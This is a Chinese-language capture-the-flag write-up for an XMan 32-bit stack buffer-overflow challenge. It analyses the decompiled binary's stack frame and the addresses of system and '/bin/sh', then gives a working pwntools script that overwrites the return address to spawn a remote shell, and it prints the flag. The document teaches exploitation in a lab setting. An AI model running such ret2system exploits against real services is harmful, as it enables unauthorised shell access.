題目來源:
XMan
題目描述:
菜雞請教大神如何獲得flag,大神告訴他使用面向回傳的編程(ROP)就可以了
題目場景:
220.249.52.133:56257
題目附件:
1ab77c073b4f4524b73e086d063f884e
題目思路:
構造出0x88長度的buf資料,再輸入4個長度的垃圾資料以覆寫ebp,由于是32位程式,所以直接加上call _system的地址以及/bin/sh的地址
解題程序:
載入IDA,F5反編譯得到偽C代碼,發現mian函式中有system,先查看vulnerable_function函式,
ssize_t vulnerable_function(){
char buf; // [esp+0h] [ebp-88h]
system("echo Input:");
return read(0, &buf, 0x100u);}
buf這個字符陣列的長度只有0x88,卻可以輸入0x100的東西,能覆寫掉陣列外面的東西,當屬于陣列的空間結束后,有一個4個位元組長度的s,其次是一個存放著回傳地址的r,我們可以輸入資料,覆寫回傳地址r,
-00000088 ; D/A/* : change type (data/ascii/array)
-00000088 ; N : rename
-00000088 ; U : undefine
-00000088 ; Use data definition commands to create local variables and function arguments.
-00000088 ; Two special fields " r" and " s" represent return address and saved registers.
-00000088 ; Frame size: 88; Saved regs: 4; Purge: 0
-00000088 buf db ?
......
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
題目給了引數/bin/sh,shift+F12查看字串位置,找到/bin/sh在0x0804A024,
.data:0804A024 2F 62 69 6E 2F 73 68 00 hint db '/bin/sh',0
重新回到main函式,發現存在system函式,tab,空格切換IDA視圖,確定_system地址,
解釋一下匯編:x64和x32的匯編引數存放的位置不同,64位優先存在暫存器里,需要把/bin/sh引數復制到暫存器里,然后再呼叫_system,而32位存在堆疊里,直接壓入四個隨意位元組,再壓入_system的引數命令地址,
.text:08048480 ; __unwind {
.text:08048480 8D 4C 24 04 lea ecx, [esp+4]
.text:08048484 83 E4 F0 and esp, 0FFFFFFF0h
.text:08048487 FF 71 FC push dword ptr [ecx-4]
.text:0804848A 55 push ebp
.text:0804848B 89 E5 mov ebp, esp
.text:0804848D 51 push ecx
.text:0804848E 83 EC 04 sub esp, 4
.text:08048491 E8 B5 FF FF FF call vulnerable_function
.text:08048496 83 EC 0C sub esp, 0Ch
.text:08048499 68 4C 85 04 08 push offset aEchoHelloWorld ; "echo 'Hello World!'"
.text:0804849E E8 7D FE FF FF call _system
.text:080484A3 83 C4 10 add esp, 10h
.text:080484A6 B8 00 00 00 00 mov eax, 0
.text:080484AB 8B 4D FC mov ecx, [ebp+var_4]
.text:080484AE C9 leave
.text:080484AF 8D 61 FC lea esp, [ecx-4]
.text:080484B2 C3 retn
.text:080484B2 ; } // starts at 8048480
call _system地址是0x0804849E把他寫到回傳地址r上,在陣列結束后直接回傳到_system函式上,再傳入/bin/sh引數地址,腳本:
from pwn import *
p = remote("220.249.52.133",56257)
payload = 'A' * 0x88 + 'a' * 0x4 + p32(0x0804849E)+p32(0x0804A024)#32位程式要用p32
p.recvuntil("")
p.sendline(payload)
p.interactive()
cyberpeace{fc8c57d0da48c7b6a6dc7b5c983b5188}
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/252635.html
標籤:其他
上一篇:弱口令爆破
